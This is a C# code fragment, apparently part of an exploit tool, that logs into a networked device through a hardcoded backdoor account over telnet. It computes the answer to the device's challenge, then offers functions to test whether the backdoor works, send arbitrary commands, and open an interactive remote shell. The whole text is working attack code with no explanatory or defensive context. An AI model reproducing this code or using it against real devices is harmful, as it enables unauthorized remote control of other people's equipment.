public bool SendCommands(string[] commands, int delay = 0)
{
try
{
TelnetClient client = new TelnetClient(ip, port);
client.Write(BACKDOOR_ACCOUNT);
for (int i = 0; i < 5; i++)
{
client.Read();
}
string challengeLine = client.Read();
string response = ComputeResponse(Convert.ToInt32(challengeLine.Substring(challengeLine.IndexOf("N") + 1)));
client.Write(response);
foreach (string command in commands)
{
client.Write(command);
}
Thread.Sleep(delay);
return(true);
}
catch
{
return(false);
}
}
private void shellOutputThread(TelnetClient client)
{
while (true)
{
string line = client.Read();
if (skipNextLine)
{
skipNextLine = false;
}
else
{
Console.WriteLine(line);
}
}
}
public bool TestLogin()
{
try
{
TelnetClient client = new TelnetClient(ip, port);
client.Write(BACKDOOR_ACCOUNT);
for (int i = 0; i < 5; i++)
{
client.Read();
}
return(client.Read().StartsWith("challenge: N"));
}
catch
{
return(false);
}
}
public void Shell()
{
Thread outputThread = null;
try
{
TelnetClient client = new TelnetClient(ip, port);
outputThread = new Thread(() => shellOutputThread(client));
client.Write(BACKDOOR_ACCOUNT);
for (int i = 0; i < 5; i++)
{
client.Read();
}
string challengeLine = client.Read();
string response = ComputeResponse(Convert.ToInt32(challengeLine.Substring(challengeLine.IndexOf("N") + 1)));
client.Write(response);
outputThread.Start();
while (true)
{
client.Write(Console.ReadLine());
skipNextLine = true;
}
}
catch
{
}
finally
{
try
{
outputThread.Abort();
}
catch
{
}
}
}
